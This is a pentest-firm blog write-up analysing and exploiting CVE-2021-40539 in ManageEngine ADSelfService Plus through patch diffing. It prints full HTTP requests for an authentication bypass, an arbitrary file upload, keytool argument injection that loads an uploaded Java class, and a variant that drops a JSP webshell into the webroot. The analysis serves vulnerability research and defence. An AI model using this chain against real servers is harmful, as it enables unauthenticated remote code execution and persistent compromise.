# How to exploit CVE-2021-40539 on ManageEngine ADSelfService Plus
RÃ(C)digÃ(C) par Antoine Cervoise , Wilfried BÃ(C)card \- 04/11/2021 - dans
Exploit , Pentest \- [TÃ(C)lÃ(C)chargement](how-to-exploit-cve-2021-40539-on-
manageengine-adselfservice-plus.html#) __
During a penetration test we encountered the ManageEngine ADSelfService Plus
(ADSS) solution. ADSS offers multiple functionalities such as managing
password policies for administrators or self password reset/account unlock for
Active Directory users. We decided to dig into this solution. However, our
research barely started that a wild exploitation on this solution was
announced.
In this article we will explore the details of several vulnerabilities that
allow an unauthenticated attacker to execute arbitrary code on the server.
# First steps
ADSelfService Plus from ManageEngine was reported as exploited in the wild on
the 8th of September[1](how-to-exploit-cve-2021-40539-on-manageengine-
adselfservice-plus.html#footnote1_7okpaju
"https://twitter.com/TheHackersNews/status/1435842539513270274"). The
solution's editor quickly deployed a security fix and released an article that
has then been updated several times[2](how-to-exploit-cve-2021-40539-on-
manageengine-adselfservice-plus.html#footnote2_dy8kl84
"https://www.manageengine.com/products/self-service-password/kb/how-to-f…").
At the beginning ManageEngine team was only mentioning an exploit related to
the REST API. To figure out what was really happening, we deployed a
vulnerable version and a patched version of the solution on a lab and we
started digging into this issue.
ADSelfService Plus is a massive Java application. However, a quick hash
comparison between both versions of the numerous included jars allows
identifying the parts of the source code that changed with the update. We can
therefore decompile the interesting archives and diff the resulting files. We
used _Meld_[3](how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-
plus.html#footnote3_xcrybzn "https://meldmerge.org/") for this last task as it
conveniently compares files, folders and subfolders and highlights the
differences.
Â

Â
# Authentication Bypass
We know from the editor's original communication that we can gain unauthorized
access through the REST API. The previous diff showed that the
`com.manageengine.ads.fw.api.RestAPIUtil` class, from the
`ManageEngineADSFrameworkJava` jar, had changed with the patch. It seems like
a good starting point for a patch analysis.
It appears that, after the patch, a call to `request.getRequestURI();` was
replaced by` SecurityUtil.getNormalizedURI(request.getRequestURI());` (as seen
in the _Meld_ comparison above).
The code of the `getNormalizedURI` function is the following:

This is clearly a patch that fixes a path traversal vulnerability, which can
have a serious impact. A similar example was a patch applied on Apache _httpd_
at the same time[5](how-to-exploit-cve-2021-40539-on-manageengine-
adselfservice-plus.html#footnote5_jtwkf0a
"https://httpd.apache.org/security/vulnerabilities_24.html#2.4.51"). In our
current case the patch is addressed for an authentication bypass.
A nuclei template[6](how-to-exploit-cve-2021-40539-on-manageengine-
adselfservice-plus.html#footnote6_5fnhrdy
"https://github.com/projectdiscovery/nuclei-templates/blob/77c3dc36ac7df…"),
published about a week after the first advisory, details how to test if your
version is vulnerable. The test payload is:
POST /./RestAPI/LogonCustomization HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
methodToCall=previewMobLogo
Sending the `/./` payload to both our patched and vulnerable instances points
differences in the servers' responses.
Request on a vulnerable
server.Request on an up to
date server.
At this step, the response body indicates that the path traversal request
actually bypasses the authentication process. Let's see what we can do while
authenticated on the REST API.
# Arbitrary file upload through the API
The `LogonCustomization` class, located in the `AdventNetADSMClient` jar,
implements the `previewMobLogo` method as used in the Nuclei template's PoC.
public ActionForward previewMobLogo(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) {
Other methods of this class including one named `unspecified` looks promising.
Indeed, taking a quick look at it reveals interesting calls to file uploads
related functions. Interestingly enough, ManageEngine's publication[2](how-to-
exploit-cve-2021-40539-on-manageengine-adselfservice-
plus.html#footnote2_dy8kl84 "https://www.manageengine.com/products/self-
service-password/kb/how-to-f…") includes IOCs that states: " _check for Java
traceback errors that include references to NullPointerException in
addSmartCardConfig or getSmartCardConfig_ ". Also, the `unspecified` method's
code looks for parameters related to smartcards.
public ActionForward unspecified(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception {
[...]
try {
[...]
} else if ("smartcard".equalsIgnoreCase(request.getParameter("form"))) { // we are looking for smarcard related actions
String operation = request.getParameter("operation");
SmartCardAction smartCardAction = new SmartCardAction();
if (operation.equalsIgnoreCase("Add")) { // and how to add one
request.setAttribute("CERTIFICATE_FILE", ClientUtil.getFileFromRequest(request, "CERTIFICATE_PATH"));
request.setAttribute("CERTIFICATE_NAME", ClientUtil.getUploadedFileName(request, "CERTIFICATE_PATH"));
smartCardAction.addSmartCardConfig(mapping, (ActionForm)dynForm, request, response);
An analysis of the previous method makes it possible to determine the
parameters necessary for a file upload on the server. This request illustrates
the upload of an arbitrary file in the `ManageEngine\ADSelfService Plus\bin`
folder.
POST /./RestAPI/LogonCustomization HTTP/1.1
Host: 192.168.1.106:9251
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------39411536912265220004317003537
Te: trailers
Connection: close
Content-Length: 1212
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="methodToCall"
unspecified
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="Save"
yes
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="form"
smartcard
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="operation"
Add
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="test.txt"
Content-Type: application/octet-stream
arbitrary content
-----------------------------39411536912265220004317003537--
A successful upload results in the server replying with a 404 response code.
HTTP/1.1 404 Not Found
Content-Type: text/html;charset=UTF-8
Connection: close
Content-Length: 135536
[...]
We can nevertheless confirm the presence of the file in the directory.

Â
By performing this request, we confirm some of ManageEngine's IOCs[2](how-to-
exploit-cve-2021-40539-on-manageengine-adselfservice-
plus.html#footnote2_dy8kl84 "https://www.manageengine.com/products/self-
service-password/kb/how-to-f…"): the 404 response and the presence of the
errors in the logs. However, the logs from the _NullPointerException_ are not
the same as the one reported by ManageEngine.
[00:05:39:578]|[10-22-2021]|[SYSERR]|[INFO]|[79]: java.lang.ClassCastException: org.apache.catalina.connector.RequestFacade cannot be cast to com.adventnet.iam.security.SecurityRequestWrapper|
[00:05:39:578]|[10-22-2021]|[SYSERR]|[INFO]|[79]: at com.adventnet.sym.adsm.common.webclient.util.ClientUtil.getFileFromRequest(ClientUtil.java:768)|
[...]
[00:05:39:685]|[10-22-2021]|[SYSERR]|[INFO]|[79]: java.lang.NullPointerException|
[00:05:39:685]|[10-22-2021]|[SYSERR]|[INFO]|[79]: at com.adventnet.sym.adsm.common.server.util.UserUtil.getUserPersonal(UserUtil.java:1039)|
[00:05:39:685]|[10-22-2021]|[SYSERR]|[INFO]|[79]: at com.adventnet.sym.adsm.common.server.util.UserUtil.getUserPersonal(UserUtil.java:1000)|
At this point, it is possible to upload any kind of file with arbitrary
content into the `ManageEngine\ADSelfService Plus\bin` directory.
# Arguments injection
While updates of the ManageEngine documentation give more details about this
issue[7](how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-
plus.html#footnote7_0ktp906 "https://us-cert.cisa.gov/ncas/alerts/aa21-259a"),
the exploitation of the `/RestAPI/Connection` endpoint is still missing at
this stage.
The `com.adventnet.sym.adsm.common.webclient.admin.ConnectionAction` class
seems to be related to this API endpoint. A quick look into it showed up the
following method:
public ActionForward openSSLTool(ActionMapping actionMap, ActionForm actionForm, HttpServletRequest request, HttpServletResponse response) throws Exception {
String action = request.getParameter("action");
if (action != null && action.equals("generateCSR"))
SSLUtil.createCSR(request);
return actionMap.findForward("SSLTool");
}
The `openSSLTool` method takes an `action` HTTP parameter and will call
`SSLUtil.createCSR` if it equals `generateCSR`. By digging into the source
code of this method, we can observe two unsanitized parameters, `keysize` and
`validity`, that are used to build the parameter of a `runCommand` call:
public static JSONObject createCSR(JSONObject sslSettings) throws Exception {
[...]
StringBuilder keyCmd = new StringBuilder("..\\jre\\bin\\keytool.exe -J-Duser.language=en -genkey -alias tomcat -sigalg SHA256withRSA -keyalg RSA -keypass "); // the command is prepared
keyCmd.append(password);
keyCmd.append(" -storePass ").append(password);
String keyLength = sslSettings.optString("KEY_LENGTH", null);
if (keyLength != null && !keyLength.equals(""))
keyCmd.append(" -keysize ").append(keyLength); // first parameter
String validity = sslSettings.optString("VALIDITY", null);
if (validity != null && !validity.equals(""))
keyCmd.append(" -validity ").append(validity); // second parameter
[...]
JSONObject jStatus = new JSONObject();
String status = runCommand(keyCmd.toString()); // command is executed here
[...]
By following that call we end into the `runRuntimeExec`Â method (in
the`AdventNetADSMServer` jar):
public void runRuntimeExec() {
if (this.command == null) {
if (this.proc == null)
return;
getStdErr();
} else {
Process p = null;
String line = null;
try {
p = Runtime.getRuntime().exec(this.command);
} catch (Exception e) {
systemerr("The command could not be executed");
this.result = false;
}
boolean isPingCmd = (this.command.indexOf("RemCom") != -1);
this.result = runCommandStatus(p, isPingCmd);
}
}
Overall, it appears we can inject into a command line that launches the
`keytool` exe. However, the use of `Runtime.getRuntime().exec()` prevents
escaping from the expected target binary. Fortunately for us, we are still
able to inject arbitrary parameters. One feature of `keytool` is to be able to
load a Java class[8](how-to-exploit-cve-2021-40539-on-manageengine-
adselfservice-plus.html#footnote8_ugdyusb
"https://srcincite.io/blog/2020/01/14/busting-ciscos-beans-hardcoding-yo…").
If we can build our own Java class, upload it with an API call to
`LogonCustomization`, we could then use it with `keytool` in order to get it
executed.
A bit of dynamic analysis with Procmon and a query to the
`/RestAPI/Connection` endpoint can confirm the execution of the `keytool`
binary.
POST /./RestAPI/Connection HTTP/1.1
Host: 192.168.1.105:9251
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Te: trailers
Connection: close
Content-Length: 43
methodToCall=openSSLTool&action=generateCSR

Â
The executed command is the following:
..\jre\bin\keytool.exe -J-Duser.language=en -genkey -alias tomcat -sigalg SHA256withRSA -keyalg RSA -keypass "null" -storePass "null" -dName "CN=null, OU= null, O=null, L=null, S=null, C=null" -keystore ..\jre\bin\SelfService.keystore
# Chaining everything together to get code execution
We saw we can bypass the authentication process by adding the `/./` snippet to
the REST API route and perform an arbitrary file upload. We also saw that an
arbitrary Java class can be loaded through an injection in the keytool binary
parameters. Combining both issues, we should be able to get an arbitrary code
execution.
The following Java code, which executes `calc.exe`, will be used as a proof of
concept.
import java.io.*;
public class Si{
static{
try{
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec("calc");
}catch (IOException e){}
}
}
An important note for a successful exploitation is that we need to compile our
code with the same Java major version[8](how-to-exploit-cve-2021-40539-on-
manageengine-adselfservice-plus.html#footnote8_ugdyusb
"https://srcincite.io/blog/2020/01/14/busting-ciscos-beans-hardcoding-yo…")
as the solution.
C:\ManageEngine\ADSelfService Plus\jre\bin> java -version
java version "1.8.0_162"
Java(TM) SE Runtime Environment (build 1.8.0_162-b12)
Java HotSpot(TM) 64-Bit Server VM (build 25.162-b12, mixed mode)
C:\> javac Si.java
Once properly compiled, our PoC class can be uploaded to the server using the
`LogonCustomization` endpoint, as previously:
POST /./RestAPI/LogonCustomization HTTP/1.1
Host: 192.168.1.105:9251
Content-Length: 989
Content-Type: multipart/form-data; boundary=fcc62d4b058687f46994b5245a8c8e9f
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
--fcc62d4b058687f46994b5245a8c8e9f
Content-Disposition: form-data; name="methodToCall"
unspecified
--fcc62d4b058687f46994b5245a8c8e9f
Content-Disposition: form-data; name="Save"
yes
--fcc62d4b058687f46994b5245a8c8e9f
Content-Disposition: form-data; name="form"
smartcard
--fcc62d4b058687f46994b5245a8c8e9f
Content-Disposition: form-data; name="operation"
Add
--fcc62d4b058687f46994b5245a8c8e9f
Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="ws.jsp"
7
StackMapTableLineNumberTabl<clinit>
SourceFileSi.java
calc
ava/io/IOExceptionSijava/lang/Objectjava/lang/Runtime
getRuntime()Ljava/lang/Runtime;exec'(Ljava/lang/String;)Ljava/lang/Process;!
*
IK*LK
N
--fcc62d4b058687f46994b5245a8c8e9f--
All that's left is to force the loading of our newly uploaded class through
the `keytool.exe` argument injection.
POST /./RestAPI/Connection HTTP/1.1
Host: 192.168.1.105:9251
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Te: trailers
Connection: close
Content-Length: 132
methodToCall=openSSLTool&action=generateCSR&KEY_LENGTH=1024+-providerclass+Si+-providerpath+"C:\ManageEngine\ADSelfService+Plus\bin"

For a little more confort, it is also possible to exploit the file upload to
write a JSP webshell on the filesystem. It can then be moved into the webroot
with the Java code execution.
import java.io.*;
public class Si{
static{
try{
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec(new String[] {"cmd", "/c", "copy", "helloworld.jsp", "..\\webapps\\adssp\\help\\admin-guide\\helloworld.jsp"});
}catch (IOException e){}
}
}
After triggering the command execution with `keytool`, our uploaded webshell
is available at `http(s)://TARGET/help/admin-guide/helloworld.jsp`.
An exploitation code has been released on our
[GitHub](https://github.com/synacktiv/CVE-2021-40539/blob/main/exploit.py).
# Conclusion
None of the public analysis of this vulnerability mentions a Java class
upload. The CISA report also mentions that "Subsequent requests are then made
to different API endpoints to further exploit the victim's system." which is
not the case here. Chances are in-the-wild attackers made use of another
exploitation path. Anyway, the patch applied by ManageEngine only fixes the
path traversal issue. While actually preventing our exploitation, this leaves
opened the file upload and parameter injection issues for future use.
* [1.](how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html#footnoteref1_7okpaju) <https://twitter.com/TheHackersNews/status/1435842539513270274>
* [2.](how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html#footnoteref2_dy8kl84) [a.](how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html#footnoteref2_dy8kl84) [b.](how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html#footnoteref2_yw4nuao) [c.](how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html#footnoteref2_g52qf8c) [https://www.manageengine.com/products/self-service-password/kb/how-to-fa¦](https://www.manageengine.com/products/self-service-password/kb/how-to-fix-authentication-bypass-vulnerability-in-REST-API.html)
* [3.](how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html#footnoteref3_xcrybzn) <https://meldmerge.org/>
* [5.](how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html#footnoteref5_jtwkf0a) <https://httpd.apache.org/security/vulnerabilities_24.html#2.4.51>
* [6.](how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html#footnoteref6_5fnhrdy) [https://github.com/projectdiscovery/nuclei-templates/blob/77c3dc36ac7dfa¦](https://github.com/projectdiscovery/nuclei-templates/blob/77c3dc36ac7df4c04e3ff7cd97f5f63ec8dc7311/cves/2021/CVE-2021-40539.yaml)
* [7.](how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html#footnoteref7_0ktp906) <https://us-cert.cisa.gov/ncas/alerts/aa21-259a>
* [8.](how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html#footnoteref8_ugdyusb) [a.](how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html#footnoteref8_ugdyusb) [b.](how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html#footnoteref8_x5oo63z) [https://srcincite.io/blog/2020/01/14/busting-ciscos-beans-hardcoding-yoa¦](https://srcincite.io/blog/2020/01/14/busting-ciscos-beans-hardcoding-your-way-to-hell.html)
Partagez cet article
暂无评论